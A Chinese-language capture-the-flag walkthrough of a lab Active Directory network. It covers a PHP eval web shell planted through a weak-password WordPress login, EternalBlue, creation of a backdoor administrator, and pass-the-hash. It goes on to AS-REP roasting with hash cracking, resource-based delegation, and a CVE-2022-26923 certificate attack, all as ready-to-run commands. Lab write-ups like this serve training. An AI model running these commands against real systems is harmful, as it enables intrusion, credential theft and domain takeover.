春秋云境2022网鼎杯半决赛-WP【一遍过】

flag01

fscan扫一下

wordpress，打开http://39.99.137.31/wp-admin

弱密码登录后台

admin
123456

修改模板中404.php

<?php @eval($_POST[1]);?>

总是给这个报错真的暴躁

原来是**校园网，后来换热点就可以了

蚁剑连接

http://39.99.228.196/wp-content/themes/twentytwentyone/footer.php

在根目录拿到flag

flag02

上传frp和fscan，开代理

信息收集

fscan依旧不回显，输出到result.txt里看

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.15.35    is alive
(icmp) Target 172.22.15.26    is alive
(icmp) Target 172.22.15.18    is alive
(icmp) Target 172.22.15.13    is alive
(icmp) Target 172.22.15.24    is alive
[*] Icmp alive hosts len is: 5
172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.18:139 open
172.22.15.24:135 open
172.22.15.13:135 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.24:80 open
172.22.15.18:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.35:139 open
[*] alive ports len is: 18
start vulscan
[*] NetInfo:
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetInfo:
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetInfo:
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetBios: 172.22.15.35    XIAORANG\XR-0687               
[*] WebTitle: http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[*] WebTitle: http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] NetBios: 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] NetBios: 172.22.15.13    [+]DC XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393 
[+] 172.22.15.24	MS17-010	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 172.22.15.13  (Windows Server 2016 Standard 14393)
[*] NetBios: 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393 
[*] WebTitle: http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135    title:None
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
5.24/www/sys/index.php code:200 len:135    title:None
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 

得到下面的信息

172.22.15.13 XR-DC01
172.22.15.18 80 XR-CA ADCS
172.22.15.24 80,3306 XR-WIN08 MS17-010
172.22.15.26 本机
172.22.15.35 XR-0687

先打永恒之蓝

msfconsole
setg proxies socks5:vps_ip:port
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.15.24
exploit
meterpreter >shell

获得flag，创建管理员用户

C:\Users\Administrator\flag>type C:\\users\\administrator\\flag\\flag02.txt
C:\Users\Administrator\flag>net user test Abcd1234 /add
C:\Users\Administrator\flag>net localgroup administrators test /add

 图中的密码设置不符合要求，设成Abcd1234就可以了

或者

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

proxychains impacket-psexec administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

flag03

远程连接172.22.15.24，如果报错的话参考博客（好像是因为之前windows自动更新了，加了些限制）

远程连接服务器时出现“这可能是由于CredSSP加密数据库修正”的错误提示的解决办法-CSDN博客

远程桌面登录过去，看到一个phpstudy

找到账号密码

root/root@#123
zdoo/zdoo123

看了下网站服务发现有phpmyadmin

打开http://172.22.15.24/phpmyadmin用账号和密码登了一下，发现有个表有一堆域账户

导出zdoosys_user.sql，运行脚本做成user.txt字典

import re

with open('zdoosys_user.txt', 'rb') as file:  # 以二进制模式打开文件
    data = file.readlines()

users = []
for line in data:
    line = line.decode('utf-8', 'ignore')  # 使用utf-8编码解码，忽略无法解码的字符
    match = re.search(r'(\w+)@xiaorang.lab', line)
    if match:
        username = match.group(1)
        users.append(username)

with open('user.txt', 'w', encoding='utf-8') as file:  # 以UTF-8编码保存结果
    for user in users:
        file.write(user + '\n')

AS-REP Roasting跑

proxychains4 impacket-GetNPUsers -dc-ip 172.22.15.13  xiaorang.lab/ -usersfile user.txt

得到两个hash

$krb5asrep$23$lixiuying@XIAORANG.LAB:843139db9e9d46c7064c1b891fdd0d6e$afa5a511838d56493bb90a1398f6f8f8f26537dd4133fb2f9c0be24d28ff3b6d8ac8f59636874f839751c15dde8183e0d364532ebe86c00fc643b9cc1a894079a0031249add9ec23e4e4834291582b9076aa49702776c731c11f018cfda6301a72718fe62cf5e62a4c0b360080441d7512818f14cced3583e2b01b6e4ba8f081e30ec9c019b3bb2993662a6c86552613b76c40d58bd097099a0607f79334d2c365c9992a48121a1f8a03626c70d43dc3656f3ccede59cfa3720b8458dffce4b67d20f3b1b1897b430e5d5d5ac818706e7fb192a1cd940fba6ed4bb4bbbeae36edfaa26ba11fc02ef55fb4b4b
$krb5asrep$23$huachunmei@XIAORANG.LAB:eff58abecde01228d594ff0755236c78$59c759e6970e614d393f4e812922a996c2fc1c16b08607b569f2a1fda496dca9e575a67b343a70128c03b9ad6708c6fe92a38f32a113af67408f2550295df3adf190e62de5a733d105ca8a48aaa705a1c6df633005fdec2559d7c718c22b6ff94a656a4b09e7ed60db6becd4e073ab6d9236690f7dedf6641f3c6b18323f014992fe2f3aed745fa2951d9f08dd79bd88467eac5c6c1e1ba41228b302969c70f3dce14a4e4909ed492632d14e3b822089f5e79a345dbd9e12ec7580e8ada954b0cb8fbf9dd80af7f423db697d1a7a0013dd5f3d3403be2e17d5029461a7e10c55d223513928323bf80b948e95

爆破

hashcat -a 0 -m 18200 --force '……' rockyou.txt

得到两个账户

lixiuying@xiaorang.lab:winniethepooh
huachunmei@xiaorang.lab:1qaz2wsx

远程登录172.22.15.35

bloodhound分析

proxychains python3 bloodhound.py -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp

发现lixiuying对XR-0687具有GenericWrite权限，能打RBCD

方法一：

先建账户

proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.15.13

ps上：

Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

创建票据

proxychains4 impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 

导入票据

export KRB5CCNAME=administrator.ccache

添加ip 172.22.15.35 XR-0687.xiaorang.lab

sudo vim /etc/hosts

无密码连接

proxychains python3 psexec.py Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

方法二：

使用rbcd.py

proxychains python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'
proxychains python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$'
proxychains python3 getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
export KRB5CCNAME=Administrator.ccache

修改/etc/hosts

无密码连接

proxychains python3 psexec.py Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 -codec gbk

获得flag03

flag04

看大佬们的博客，要打CVE-2022–26923

注意，这里的certipy不是出现命令不存在kali让你下载的那个，这个是个打CVE-2022–26923的工具：https://github.com/ly4k/Certipy/

proxychains certipy account create -user 'TEST2$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'

添加成功说明漏洞存在，继续按流程走，申请证书模版

proxychains certipy req -u 'TEST2$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'

第一超时，第二次打通了

按流程下一步

proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

但是报错了，可能是域控制器没有安装用于智能卡身份验证的证书 ? 所以可以尝试 Schannel

即通过 Schannel 将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限

这样打首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可，空密码)：

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

(脚本链接：https://github.com/AlmondOffSec/PassTheCert/)

proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

下一步将证书配置到域控的 RBCD

proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'

申请ST

proxychains python3 getST.py xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据

export KRB5CCNAME=Administrator.ccache

/etc/hosts添加172.22.15.13 XR-DC01.xiaorang.lab

无密码连接

proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

获得flag04

type C:\Users\Administrator\flag\flag04.txt